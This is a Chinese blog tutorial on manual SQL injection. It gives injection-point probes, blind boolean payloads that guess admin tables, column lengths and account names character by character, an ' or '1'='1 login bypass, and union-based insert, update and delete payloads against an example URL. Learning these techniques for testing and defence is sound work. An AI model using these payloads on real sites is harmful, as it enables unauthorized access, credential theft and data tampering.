深入浅出SQL注入

一、判断有无注入点

数字型:and 1=1 and 1=2 和 ‘

字符型:’and ‘1’=’1? ‘and ‘1’=’2

搜索型:关键字%’ and 1=1 and ‘%’=’%??? 关键字%’ and 1=2 and ‘%’=’%

大部分数据库都有用单行注释符(–)和多行注释符(/**/),在不需要执行后面操作的地方,可以添加相对应的注释符,盲注的情况下,用上面sql语句看返回页面是看不到页面异常信息的。

二、猜表

一般的表的名是admin username password tables等..

and 0<>(select count() from )

and 0<>(select count(*) from admin) –判断是否存在admin这张表

三、猜账号数目

如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

四、猜字段名称

在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count() from admin where len()>0)

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where
len(_blank>密码字段名称password)>0)

五、猜解各个字段的长度

猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count() from admin where len()>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

六、猜解字符

and 1=(select count(*) from admin where left(name,1)=a)

–猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)

–猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

七、后台弱口令类型SQL注入

原始SQL:SELECT * FROM Users WHERE Username=’$username’ AND
Password=’$password’

$username = 1′ or ‘1’=’1

$password=1′ or ‘1’=’1

然后sql查询会变为下面新的查询语句

SELECT * FROM Users WHERE Username=’1′ OR ‘1’=’1′ AND Password=’1’OR
‘1’=’1′

顺便回忆一个sql注入的过程,某注入点已经成立,想做增删改查的操作。

假设注入点为?http://0535code.com/?p=635 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from member
以上是查询语句了,要构造增加,删除,修改语句都要通过上面联合做查询。
增加:http://0535code.com/?p=635 And 1=2 union?INSERT INTO members (username,password) VALUES (‘demo’,’demo’);
修改:http://0535code.com/?p=635 And 1=2 union UPDATE member SET username = ‘name’ WHERE username = ‘demo’;
删除:http://0535code.com/?p=635 And 1=2 union DELETE FROM members WHERE username = ‘demo’ ;
或者也可以把查询语句放union,结束的时候加个分号(;),表示结束,再重新添加构造的sql语句。

过以上几个语句,有几个疑问,验证了下答案。

  1. 问题一:在猜解到了数据库表名和列名,是否可以添加记录?

原始sql语句:INSERT INTO test.users (id, username, password,
name) VALUES (NULL, ‘1111’, ‘2222’, ‘3333’); 测试sql语句:INSERT INTO
test.users ( name) VALUES ( ‘ccc’);
经过测试是可行的,只要猜到表名和字段名就可以增删改查操作了。

  1. 问题二:select 1,2,3,4,5,6,7,8,9,10 from member,中间列数怎么用呢?

select name from users where 1 and 1=2 union select 1 , 2, 3,4,5,6
from users 如果为6个字段的话,才会正常返回值,通过这个确定列数,确定列数后,可以猜解字段所在的列,从1替换到10看返回数据。

现在工具那么多,通常sql注入,会采用sqlmap,pangolin,Havij验证,有些需要手工构造后,通过工具爆库。

  Previous post Typecho框架——NO.1 MUSIC
Next post   永远的Blade & Soul

添加新评论

选择表情

  近期动态

晚安,论文绞尽脑汁。
--- updated on 2019-03-20 01:17:34 星期三

  关于博主

九零后,码农,很苗条,双鱼男
个人博客,随便写写,工作方向:网络运维
爱代码,爱生活,爱音乐,爱游戏。。。

  近期评论

  分类目录

无论有多困难,都坚强地抬头挺胸,告诉所有人,你并非他们想象的那样不堪一击。

每个人心里都有一段伤痕,时间才是最好的疗剂。

人总是珍惜未得到的,而遗忘了所拥有的。

退一步,并不象征我认输;放手,并不表示我放弃;微笑,并不意味我快乐!

人海中再回首,朋友真诚依旧,生命里重逢,心境平和温柔,往事如风,岁月如歌,漫漫人生路,苍桑几许,幸福几何!